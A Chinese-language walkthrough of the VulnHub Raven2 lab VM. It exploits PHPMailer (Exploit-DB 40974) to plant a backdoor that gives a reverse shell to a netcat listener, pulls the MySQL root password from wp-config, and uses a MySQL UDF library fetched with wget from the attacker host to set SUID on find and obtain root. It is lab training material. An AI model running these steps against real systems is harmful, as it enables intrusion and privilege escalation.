vulnhub-raven2通关教程
这里我们的靶机IP是192.168.135.137 kali的IP是192.168.135.131
还是那句话扫描网段存活IP才能知道靶机IP
Nmap -sP 192.168.135.0/24

我们知道了靶机IP再扫描开放端口,这里我是打了两遍,我直接登录网址了

这个网址我们点击来点击去没发现有什么可以用的,我们直接遍历后台目录
Dirb http://192.168.135.137

我们发现它重定向到了vendor目录和wordpress目录,一个个枚举

最后我们再vendor下找到了一堆有用的信息,一般来说我们都要看,但是这里是靶场我建议直接看PATH,PHPMaaller,README,VERSION,SECURITY

我们在path下直接获得了flag1,和目录地址,这个地址很重要,是建立反弹shell的exp的.py的运行地址 /var/www/html

我们知道了它是PHPMailer

还知道了他的版本信息,就可以网上看看有没有exp可以用了

我们找到了对应版本的40974的exp,这个是python写的.py文件

我们可以去GitHub上下载对应的exp,也可以看看kali里有没有收录
Searchsploit 40974
Searchsploit -p 40974.py

我们把他放到我们的桌面上,准备修改配置,运行exp,建立监听拿到低权限shell,一般系统漏洞的exp我们才可以拿到root权限的shell,像这类exp一般都是低权限,这可是我逛别人帖子才知道的,太干了
Cp /usr/share/exploitdb/exploits/php/webappa/40974.py /home/kali/桌面

Ok,到这一步一定很蒙吧,这里配置我第一次打的时候也监听不到shell,网站不生成我的.php文件返回shell给我如果你也是这样 一定是下面这里没有配置好。
Target:目标网站,访问这个网站就会生成我们的.php文件
这里一定是/contact,因为你到网站访问时就会发现这里能够输入些什么东西
Backdoor:后门文件就是生成的.php文件会给我们返回shell
这里是你生成的后门文件名我的是yang.php,这里看你喜好喔
往下滑,找到监听的IP和端口,设置为kali的IP和监听端口
再往下找到路径名字,上面我说过你得到了路径地址/var/www/html 你还记得吗?把他修改为/var/www/html/yang.php
这个样就完美了,一共要修改四个地方我列出来
http://192.168.135.137/contact.php
/yang.php
192.168.135.131,6666
/var/www/html/yang.php
下面是修改好的

Ok,回到kali,运行40974.py
Python3 40974.py

建立监听等待生成后门返回shell
Nc -lvp 6666

当你建立监听后,受害者(靶机,这里你自己访问,现实中是别人再次访问)再次访问你设置的网站192.168.135.137/contact.php 时就会生成yang.php文件,它访问yang.php,你就拿到shell了

这里尾shell怎么变成正常shell我肯定会再敲给你,我也记一下,我们查看flag看看有什么
Python -c ‘import pty;pty.spawn(“/bin/bash”)’ 如果你从我的1-3都看了,这个难不倒你了哇
Find / -name flag*

这里我们找到了两个flag,一个cat查看,一个用网页查看,但是你有没有感觉事情远远没有那么简单,虽然都拿了3个flag了,但是你看看旁边的进度条还没到一半呢


我们的目的是为了提权,既然还没提权我们看看配置文件有没有收获一般config文件十分重要,就像你和你兄弟一样
Cat wp-conrig.php

我们可以在这里找到MySQL的账号和密码
在这里,我先提醒你一句进入MySQL前现在给你的kali拍个快照还不迟(如果你想打第二遍的话)

进入前我们先看看它运行了什么进程,有没有MySQL
Ps aux | gerp root

有,那我们就能利用MySQL提权,你应该了解过udf提权吧,这也是我叫你快照的原因

我们先看看MySQL历史补丁版本,知己知彼才能攻破它
Dpkg -l | grep mysql

我们进入MySQL,看看版本
Mysql -uroot -pR@v3nSecurity
Select version();

查看一下数据库
这里_schma的都是不能动的
Show databases;

我们先看看wordpress
Use wordpress

我们看看他的users表啊,这个一般会有所收获
Select * from wp_users;

这里看到用户和密码,但是用不了啊,这个加密我也没看出是什么加密,我们看看能不能写入东西
Show global variables like ‘secure%’;

这里没有OFF表示我们能够写入些什么让命令获得suid,我们看看plugin的位置,我们等会就把自定义函数放到这,让自定义函数获得执行权限,实现udf提权(哈哈哈,我也是问豆包的,但我知道udf就是用户自定义函数)
Show variables like ‘%plugin%’; 这里提醒一下你,我又打字又打命令给你,有时命令会是中文模式下输出的,但你应该知道应该用英文吧,自己敲一遍错不了

我们看看能不能更简单的提权,用msf
Use mysql;
Select user,host from user;

这里我们可以看到只能本地登录,那msf几乎没戏了,我们就老实用udf吧
Searchsploit udf

我们看到1518.c能用,我们看看kali里有没有收录它,有就方便,没有就去漏洞库拉取
Searchsploit -p 1518.c

把他复制到桌面
Cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/桌面

这里就是将他进行编译,其实图片里有条命令错了,少了原文件,下面的命令才是正确的gcc编译,现在我还是不明白,希望有人看到这明白gcc编译的话能在评论给我解释一下。
正确命令
Gcc -g -c 1518.c
Gcc -g -shared -o yang.so 1518.c -lc

开启服务,让靶机能够访问/home/kali/桌面,能够下载yang.so文件
Python3 -m http.server 8000
这里我又要提醒你一下了,一定是在yang.so目录下开启服务靶机才能下载yang.so

进入/tmp目录,我在说一遍往后就没有那么好的服务了,tmp可以读写执行上传编译,完事后自动清理,谁不喜欢干完事情后自动恢复呀>_<
下载yang.so文件
Wget http://192.168.135.131:8000/yang.so
这里解释一下如果你不是在yang.so目录下开启服务,是无法下载成功的,回到kali上yang.so正确目录下开启服务再来下载

Ok让我们开始提权,进入数据库(前面没有快照咩关系,这里进入数据库是要提权了,快照一下,毕竟现在权限是删除不了修改过后的文件的)
Mysql -uroot -pR@v3nSecurity
Show databases:
Use mysql;

查看表
Show tables;

创建一张表,让它放入yang.so
Create table yang(line blob);

将yang.so下载到yang表
Insert into yang values(load_file(‘/tmp/yang.so’));


这里解释一下,如果你是想再打一次却没有快照的话,yang.so已经写入/usr/lib/mysql/plugin,无法二次,而你的www-data又没有权限删除这个路径下的yang.so,那么你第二次打这个靶场就无法提权,或是说很麻烦。下面就是将yang.so放入plugin下
Select * from yang into dumpfile ‘/usr/lib/mysql/plugin/yang.so’;

告诉plugin创建自定义函数执行yang.so
Create function do_system returns integer soname ‘yang.so’;

检查一下udf注册成功没
Select * from mysql.func;

为0的话说明没有报错,find命令成功打上了suid
Select do_system(‘chmod u+s /usr/bin/find’);

最后返回shell提权
Touch yang
Find yang -exec /bin/sh \;

成功拿到了flag

这里总结一下我的问题,如果你也遇到了希望对你有帮助
1:开启服务时要在文件所在目录下开启才能再Linux上下载
2:进入MySQL使用udf提权前先给kali拍个快照,不然后续再复现就失败了
3:gcc编译命令一定要对,不然就算生成了yang.so也是损坏的,无法提权
浙公网安备 33010602011771号